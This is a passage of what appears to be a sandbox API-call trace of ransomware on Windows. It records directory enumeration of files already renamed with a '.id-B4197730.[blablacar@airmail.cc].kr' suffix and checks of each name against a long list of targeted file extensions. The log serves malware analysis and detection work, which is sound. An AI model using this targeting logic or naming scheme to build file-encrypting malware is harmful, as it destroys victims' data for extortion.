ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc56ca1e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc56f049d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="LOCALI~1.KR")) returned 1 [0084.509] FindNextFileW (in: hFindFile=0x42603d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.509] FindNextFileW (in: hFindFile=0x42603d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.509] FindClose (in: hFindFile=0x42603d0 | out: hFindFile=0x42603d0) returned 1 [0084.510] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0084.510] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0084.510] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0084.510] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036") returned 26 [0084.510] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc580b023, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260790 [0084.510] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc580b023, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.510] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc56f049d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc56f049d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc57a007b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0084.510] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0084.510] lstrlenW (lpString=".1cd") returned 4 [0084.510] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0084.510] lstrlenW (lpString=".3ds") returned 4 [0084.510] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0084.510] lstrlenW (lpString=".3fr") returned 4 [0084.510] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0084.510] lstrlenW (lpString=".3g2") returned 4 [0084.511] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0084.511] lstrlenW (lpString=".3gp") returned 4 [0084.511] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0084.511] lstrlenW (lpString=".7z") returned 3 [0084.511] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0084.511] lstrlenW (lpString=".accda") returned 6 [0084.511] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0084.511] lstrlenW (lpString=".accdb") returned 6 [0084.511] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0084.511] lstrlenW (lpString=".accdc") returned 6 [0084.511] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0084.511] lstrlenW (lpString=".accde") returned 6 [0084.511] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0084.511] lstrlenW (lpString=".accdt") returned 6 [0084.511] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0084.511] lstrlenW (lpString=".accdw") returned 6 [0084.511] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0084.511] lstrlenW (lpString=".adb") returned 4 [0084.511] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0084.511] lstrlenW (lpString=".adp") returned 4 [0084.511] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0084.511] lstrlenW (lpString=".ai") returned 3 [0084.511] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0084.511] lstrlenW (lpString=".ai3") returned 4 [0084.511] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".ai4") returned 4 [0084.512] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".ai5") returned 4 [0084.512] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".ai6") returned 4 [0084.512] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".ai7") returned 4 [0084.512] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".ai8") returned 4 [0084.512] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".anim") returned 5 [0084.512] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0084.512] lstrlenW (lpString=".arw") returned 4 [0084.512] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".as") returned 3 [0084.512] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0084.512] lstrlenW (lpString=".asa") returned 4 [0084.512] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".asc") returned 4 [0084.512] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".ascx") returned 5 [0084.512] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0084.512] lstrlenW (lpString=".asm") returned 4 [0084.512] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".asmx") returned 5 [0084.512] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0084.512] lstrlenW (lpString=".asp") returned 4 [0084.512] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0084.512] lstrlenW (lpString=".aspx") returned 5 [0084.513] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0084.513] lstrlenW (lpString=".asr") returned 4 [0084.513] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0084.513] lstrlenW (lpString=".asx") returned 4 [0084.513] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0084.513] lstrlenW (lpString=".avi") returned 4 [0084.513] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0084.513] lstrlenW (lpString=".avs") returned 4 [0084.513] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0084.513] lstrlenW (lpString=".backup") returned 7 [0084.513] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0084.513] lstrlenW (lpString=".bak") returned 4 [0084.513] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0084.513] lstrlenW (lpString=".bay") returned 4 [0084.513] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0084.513] lstrlenW (lpString=".bd") returned 3 [0084.513] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0084.513] lstrlenW (lpString=".bin") returned 4 [0084.513] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0084.513] lstrlenW (lpString=".bmp") returned 4 [0084.513] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0084.513] lstrlenW (lpString=".bz2") returned 4 [0084.513] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0084.513] lstrlenW (lpString=".c") returned 2 [0084.513] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0084.513] lstrlenW (lpString=".cdr") returned 4 [0084.513] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0084.514] lstrlenW (lpString=".cer") returned 4 [0084.514] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0084.514] lstrlenW (lpString=".cf") returned 3 [0084.514] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0084.514] lstrlenW (lpString=".cfc") returned 4 [0084.514] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0084.514] lstrlenW (lpString=".cfm") returned 4 [0084.514] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0084.514] lstrlenW (lpString=".cfml") returned 5 [0084.514] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0084.514] lstrlenW (lpString=".cfu") returned 4 [0084.514] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0084.514] lstrlenW (lpString=".chm") returned 4 [0084.514] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0084.514] lstrlenW (lpString=".cin") returned 4 [0084.514] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0084.514] lstrlenW (lpString=".class") returned 6 [0084.514] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0084.514] lstrlenW (lpString=".clx") returned 4 [0084.514] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0084.514] lstrlenW (lpString=".config") returned 7 [0084.514] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0084.514] lstrlenW (lpString=".cpp") returned 4 [0084.514] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0084.514] lstrlenW (lpString=".cr2") returned 4 [0084.514] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0084.514] lstrlenW (lpString=".crt") returned 4 [0084.514] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".crw") returned 4 [0084.515] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".cs") returned 3 [0084.515] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0084.515] lstrlenW (lpString=".css") returned 4 [0084.515] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".csv") returned 4 [0084.515] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".cub") returned 4 [0084.515] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".dae") returned 4 [0084.515] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".dat") returned 4 [0084.515] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".db") returned 3 [0084.515] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0084.515] lstrlenW (lpString=".dbf") returned 4 [0084.515] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".dbx") returned 4 [0084.515] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".dc3") returned 4 [0084.515] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".dcm") returned 4 [0084.515] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".dcr") returned 4 [0084.515] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0084.515] lstrlenW (lpString=".der") returned 4 [0084.516] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0084.516] lstrlenW (lpString=".dib") returned 4 [0084.516] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0084.516] lstrlenW (lpString=".dic") returned 4 [0084.516] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0084.516] lstrlenW (lpString=".dif") returned 4 [0084.516] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0084.516] lstrlenW (lpString=".divx") returned 5 [0084.516] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0084.516] lstrlenW (lpString=".djvu") returned 5 [0084.516] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0084.516] lstrlenW (lpString=".dng") returned 4 [0084.516] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0084.516] lstrlenW (lpString=".doc") returned 4 [0084.516] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0084.516] lstrlenW (lpString=".docm") returned 5 [0084.516] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0084.516] lstrlenW (lpString=".docx") returned 5 [0084.516] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0084.516] lstrlenW (lpString=".dot") returned 4 [0084.516] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0084.516] lstrlenW (lpString=".dotm") returned 5 [0084.516] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0084.516] lstrlenW (lpString=".dotx") returned 5 [0084.516] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0084.516] lstrlenW (lpString=".dpx") returned 4 [0084.516] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0084.516] lstrlenW (lpString=".dqy") returned 4 [0084.517] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0084.517] lstrlenW (lpString=".dsn") returned 4 [0084.517] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0084.517] lstrlenW (lpString=".dt") returned 3 [0084.517] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0084.517] lstrlenW (lpString=".dtd") returned 4 [0084.517] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0084.517] lstrlenW (lpString=".dwg") returned 4 [0084.517] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0084.517] lstrlenW (lpString=".dwt") returned 4 [0084.517] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0084.517] lstrlenW (lpString=".dx") returned 3 [0084.517] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0084.517] lstrlenW (lpString=".dxf") returned 4 [0084.517] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0084.517] lstrlenW (lpString=".edml") returned 5 [0084.517] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0084.517] lstrlenW (lpString=".efd") returned 4 [0084.517] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0084.517] lstrlenW (lpString=".elf") returned 4 [0084.517] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0084.517] lstrlenW (lpString=".emf") returned 4 [0084.517] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0084.517] lstrlenW (lpString=".emz") returned 4 [0084.517] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".epf") returned 4 [0084.518] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".eps") returned 4 [0084.518] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".epsf") returned 5 [0084.518] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0084.518] lstrlenW (lpString=".epsp") returned 5 [0084.518] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0084.518] lstrlenW (lpString=".erf") returned 4 [0084.518] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".exr") returned 4 [0084.518] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".f4v") returned 4 [0084.518] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".fido") returned 5 [0084.518] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0084.518] lstrlenW (lpString=".flm") returned 4 [0084.518] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".flv") returned 4 [0084.518] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".frm") returned 4 [0084.518] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".fxg") returned 4 [0084.518] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".geo") returned 4 [0084.518] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0084.518] lstrlenW (lpString=".gif") returned 4 [0084.518] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0084.519] lstrlenW (lpString=".grs") returned 4 [0084.519] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0084.519] lstrlenW (lpString=".gz") returned 3 [0084.519] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0084.519] lstrlenW (lpString=".h") returned 2 [0084.519] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0084.519] lstrlenW (lpString=".hdr") returned 4 [0084.519] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0084.519] lstrlenW (lpString=".hpp") returned 4 [0084.519] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0084.519] lstrlenW (lpString=".hta") returned 4 [0084.519] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0084.519] lstrlenW (lpString=".htc") returned 4 [0084.519] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0084.519] lstrlenW (lpString=".htm") returned 4 [0084.519] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0084.519] lstrlenW (lpString=".html") returned 5 [0084.519] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0084.519] lstrlenW (lpString=".icb") returned 4 [0085.145] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0085.145] lstrlenW (lpString=".ics") returned 4 [0085.145] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0085.145] lstrlenW (lpString=".iff") returned 4 [0085.145] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0085.145] lstrlenW (lpString=".inc") returned 4 [0085.145] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0085.145] lstrlenW (lpString=".indd") returned 5 [0085.145] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0085.145] lstrlenW (lpString=".ini") returned 4 [0085.145] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0085.145] lstrlenW (lpString=".iqy") returned 4 [0085.145] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0085.145] lstrlenW (lpString=".j2c") returned 4 [0085.145] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0085.145] lstrlenW (lpString=".j2k") returned 4 [0085.145] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0085.146] lstrlenW (lpString=".java") returned 5 [0085.146] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0085.146] lstrlenW (lpString=".jp2") returned 4 [0085.146] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0085.146] lstrlenW (lpString=".jpc") returned 4 [0085.146] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0085.146] lstrlenW (lpString=".jpe") returned 4 [0085.146] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0085.146] lstrlenW (lpString=".jpeg") returned 5 [0085.146] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0085.146] lstrlenW (lpString=".jpf") returned 4 [0085.146] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0085.146] lstrlenW (lpString=".jpg") returned 4 [0085.146] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0085.146] lstrlenW (lpString=".jpx") returned 4 [0085.146] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0085.146] lstrlenW (lpString=".js") returned 3 [0085.146] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0085.146] lstrlenW (lpString=".jsf") returned 4 [0085.146] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0085.146] lstrlenW (lpString=".json") returned 5 [0085.146] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0085.146] lstrlenW (lpString=".jsp") returned 4 [0085.146] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0085.146] lstrlenW (lpString=".kdc") returned 4 [0085.146] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0085.146] lstrlenW (lpString=".kmz") returned 4 [0085.146] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".kwm") returned 4 [0085.147] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".lasso") returned 6 [0085.147] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0085.147] lstrlenW (lpString=".lbi") returned 4 [0085.147] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".lgf") returned 4 [0085.147] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".lgp") returned 4 [0085.147] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".log") returned 4 [0085.147] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".m1v") returned 4 [0085.147] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".m4a") returned 4 [0085.147] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".m4v") returned 4 [0085.147] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".max") returned 4 [0085.147] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".md") returned 3 [0085.147] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0085.147] lstrlenW (lpString=".mda") returned 4 [0085.147] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".mdb") returned 4 [0085.147] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".mde") returned 4 [0085.147] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".mdf") returned 4 [0085.147] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0085.147] lstrlenW (lpString=".mdw") returned 4 [0085.147] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mef") returned 4 [0085.148] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mft") returned 4 [0085.148] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mfw") returned 4 [0085.148] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mht") returned 4 [0085.148] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mhtml") returned 6 [0085.148] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0085.148] lstrlenW (lpString=".mka") returned 4 [0085.148] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mkidx") returned 6 [0085.148] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0085.148] lstrlenW (lpString=".mkv") returned 4 [0085.148] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mos") returned 4 [0085.148] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mov") returned 4 [0085.148] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mp3") returned 4 [0085.148] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mp4") returned 4 [0085.148] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mpeg") returned 5 [0085.148] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0085.148] lstrlenW (lpString=".mpg") returned 4 [0085.148] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mpv") returned 4 [0085.148] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".mrw") returned 4 [0085.148] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0085.148] lstrlenW (lpString=".msg") returned 4 [0085.149] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".mxl") returned 4 [0085.149] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".myd") returned 4 [0085.149] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".myi") returned 4 [0085.149] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".nef") returned 4 [0085.149] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".nrw") returned 4 [0085.149] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".obj") returned 4 [0085.149] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".odb") returned 4 [0085.149] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".odc") returned 4 [0085.149] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".odm") returned 4 [0085.149] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".odp") returned 4 [0085.149] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".ods") returned 4 [0085.149] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".oft") returned 4 [0085.149] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".one") returned 4 [0085.149] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0085.149] lstrlenW (lpString=".onepkg") returned 7 [0085.149] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0085.149] lstrlenW (lpString=".onetoc2") returned 8 [0085.149] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0085.149] lstrlenW (lpString=".opt") returned 4 [0085.149] 